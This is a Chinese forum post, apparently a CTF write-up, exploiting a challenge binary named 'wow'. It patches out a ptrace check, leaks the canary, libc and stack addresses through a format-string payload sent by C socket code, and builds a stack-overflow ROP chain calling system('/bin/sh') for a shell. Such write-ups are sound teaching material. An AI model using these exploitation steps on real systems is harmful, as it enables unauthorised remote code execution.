首页
社区
课程
招聘
[原创]2018第三题_wow的理解(c版)
发表于: 2018-7-27 17:24 2219

[原创]2018第三题_wow的理解(c版)

2018-7-27 17:24
2219
//===================================================================================
// 第一步:main函数的分析
//===================================================================================

	.text:0000000000400794 ; int __cdecl main(int argc, const char **argv, const char **envp)
	.........
	.text:0000000000400794
	.text:0000000000400794 ; __unwind {
	.text:0000000000400794                 push    rbp				//rsp 	= 00007FFE8AA55608
	.text:0000000000400795                 mov     rbp, rsp				//rbp 	= rsp - 8 = 00007FFE8AA55600
	.text:0000000000400798                 sub     rsp, 40h				//rsp	= 00007FFE8AA555C0 = 00007FFE8AA55608 - 0x8 - 0x40
	.......
	.text:0000000000400807                 call    welcome
	.......
	.text:0000000000400816 main            endp

	总结:
	1、main函数的返回地址存放在:rsp_ret 	= 00007FFE8AA55608
	2、后面使用的rsp:00007FFE8AA555C0(rsp_ret - 0x8 - 0x40)

//===================================================================================
// 第二步:修改 test 函数,绕过 ptrace
//===================================================================================
	text:0000000000400751                 public test
	.text:0000000000400751 test            proc near               
	.text:0000000000400751 ; __unwind {
					       //1、要绕过后面的ptrace检查,只需将下面的push rbp改为retn即可
					       //1)更改前
	.text:0000000000400751                 		push    rbp
					       //2)更改后
	.text:0000000000400751                 		retn	  

						..........
	.text:0000000000400793 ; } 

//===================================================================================
// 第三步:解密程序(具体参考:de_captone.c)
//===================================================================================
	


//===================================================================================
// 第四步:解密后的程序的分析(具体参考:exp.c)
//===================================================================================

	//-----------------------------------------------------
	// 1、服务器执行write向stdout的buf里输入wow!(syscall:write)
	//-----------------------------------------------------
	0x1000:	lea		rax, qword ptr [rax + rcx]
	0x1004:	sub		rax, 0xc0
	0x100a:	xor		rcx, rcx
	0x100d:	mov		bl, byte ptr [rax + rcx]
	0x1010:	xor		bl, dl
	0x1012:	mov		byte ptr [rax + rcx], bl
	0x1015:	inc		rcx
	0x1018:	cmp		rcx, 0x20
	0x101c:	jl		0x100d
	0x101e:	mov		rax, 1
	0x1025:	mov		rdx, 5
	0x102c:	lea		rsi, qword ptr [0x601058]
	0x1034:	mov		rdi, rax
	0x1037:	syscall						//write wow!

	//-----------------------------------------------------
	// 2、服务器调用 flush(客户端屏幕输出 wow!)
	//-----------------------------------------------------
	0x1000:	lea		rax, qword ptr [rax + rcx]
	0x1039:	mov		edi, 0
	0x103e:	call		0xbf4
	0x1043:	cmp		rax, rax
	0x1046:	jne		0x105a
	0x1048:	call		0x104d		//_flush
	0x104d:	pop		rax
	0x104e:	add		rax, 7
	0x1052:	jmp		rax

	//-----------------------------------------------------
	// 3、
	// 服务器:read 0x1a 字节数据(服务器等待输入)
	// 客户端:发送"%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a"
	//-----------------------------------------------------
	0x1054:	xor		rax, rax			//syscall的调用号
	0x1057:	mov		rdx, 0x1a			//rdx 		= 0x1a,读入数据长度
	0x105e:	mov		rsi, rsp			//rsi 		= 00007FFE8AA555C0
	0x1061:	mov		qword ptr [0x601088], rsp	//[0x601088] 	= rsp = 00007FFE8AA555C0(栈顶)
	0x1069:	mov		rdi, rax			//rdi		= 0(文件句柄0对应stdin)
	0x106c:	syscall

		
		//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
		// 这时,
		// 服务器:read等待客户端输入
		// 客户端:发送"%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a"以获取服务器上wow的 canary, setbuf, stack的实际加载地址
		//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
			static	char libc_info[]	= "%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a";
			.......
			send(sockfd, libc_info, 25, 0);	
			......
			ret_val = recv(sockfd,recv_buf,8192,0);
			......
			do_split(recv_buf, libc_info_arr, ' ', ret_val, 5, 64);
			......
			canary_addr 	= strtoul(&libc_info_arr[0],NULL,16);
			setbuf_addr	= &libc_info_arr[1];

			//stack的实际地址
			stack_addr 	= strtoul(&libc_info_arr[2],NULL,16);

			//libc的实际加载地址
			unsigned long libc_base_addr	= *setbuf_addr - setbuf_offset_in_libc;

			//system函数的实际加载地址
			unsigned long libc_system_addr	= libc_base_addr + system_offset_in_libc;

			//rop_chain的实际加载地址
			unsigned long wow_ropchain_addr= 0x400b23;

			总结:
			1、stack_addr	= 00007FFE8AA555C0
			2、着重理解 "%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a"
				1)栈结构
					-------------------------
						7FFE8AA555C0(rsp)
					------------------------- -0x8 (%1$p)
						...........
					------------------------- 
						0x601018(setbuf)
					------------------------- -0x40 (%8$s)
						...........
					-------------------------
						canary
					------------------------- -0x68 (%13$p)

				2)对于0x601018(setbuf)的理解,查看ida,发现是:
					.got.plt:0000000000601028 off_601028      dq offset setbuf  //x86里dq是8字节     
					即:语句 printf("%8$s", 0x601028);注意:0x601028的单元内放置了“真实的setbuf地址”,
					即:*(0x601028)	= offset setbuf
					因此,语句 printf("%8$s", 0x0000000000601028) 执行后的结果是打印出 “真实的setbuf地址”(是0x7f开头的地址)

	//-----------------------------------------------------
	// 4、
	// 服务器:printf 数据(实际是printf("%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a"),泄漏服务器的canary, setbuf, rsp)
	// 客户端:收到服务器的 canary, setbuf, rsp的实际加载地址
	//-----------------------------------------------------						
	0x106e:	mov		rax, qword ptr [0x601088]	//rax		= 00007FFE8AA555C0(栈顶)
	0x1075:	mov		rdi, rax			//rdi		= 00007FFE8AA555C0(栈顶)
	0x1078:	mov		eax, 0				//[rdi]		= [00007FFE8AA555C0(栈顶)]	= 00007FFE8AA5560A
	0x107d:	call		0xbd4			

	//-----------------------------------------------------
	// 5、
	// 服务器:read 0x200 字节数据(等待输入)
	// 客户端:发送构造好的数据,里面包含canary,system("bin/sh"),rop_libc_ret等信息,最终实现获取服务器shell
	//-----------------------------------------------------
	0x1082:	xor		rax, rax			//syscall的调用号		
	0x1085:	mov		rdx, 0x200			//rdx 		= 0x200,读入数据长度; rsp 	= 00007FFE8AA555C0; 
	0x108c:	lea		rsi, qword ptr [rsp - 0x20]	//rsi 		= 读入buf起始位置 		= rsp - 0x20= 00007FFE8AA555A0
	0x1091:	mov		rdi, rax			//rdi		= 0(文件句柄0对应stdin)
	0x1094:	syscall						
	0x1096:	nop		

	总结:
	1、根据main函数分析的结果,main函数的返回地址存放在 rsp_ret = 00007FFE8AA55608
	2、引起栈溢出的是 0x1082-0x1094 的syscall:read,它读入了0x200个字符
		1)buf的起始位置:00007FFE8AA555A0(rsp-0x20)
		2)buf的起始地址距离“main函数返回地址”:00007FFE8AA55608 - 00007FFE8AA555A0 = 0x68 = 104字节
	3、构建攻击buf
		-------------------------------------- 00007FFE8AA555A0
			88个'D'(88字节)
		-------------------------------------- 00007FFE8AA555F8
		 	1个canary(8字节)
		-------------------------------------- 00007FFE8AA55600
		 	8个0(8字节)
		-------------------------------------- 00007FFE8AA55608
			返回地址(0x400b23)
		-------------------------------------- 00007FFE8AA55610
			stack_addr + 0x60
		-------------------------------------- 00007FFE8AA55618
			libc_system_addr
		-------------------------------------- 00007FFE8AA55620
			/bin/sh
		--------------------------------------

		注意:
		1)返回地址为0x400b23,这是使用“ROPgadget --binary ../wow/wow --only "pop|ret"”进行搜索的,目的是找到 pop rdi;ret,即,
			在服务器上wow的程序里 pop rdi;ret 对应的地址为 0x400b23
		2)根据之前获得的服务器上wow的stack的实际地址(stack_addr	= 00007FFE8AA555C0),因此这里的值是0x7FFE8AA555C0 + 0x60 = 0x7FFE8AA55620,
			恰好指向 “/bin/sh”
		3)libc_system_addr = libc.so里面的system函数在服务器上实际的加载地址

//===================================================================================
// 第五步:备注
//===================================================================================
1、整个程序基本由c实现,但“rop链(ROPgadget)”例外


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2018-7-29 12:18 被mdtek编辑 ,原因:
上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//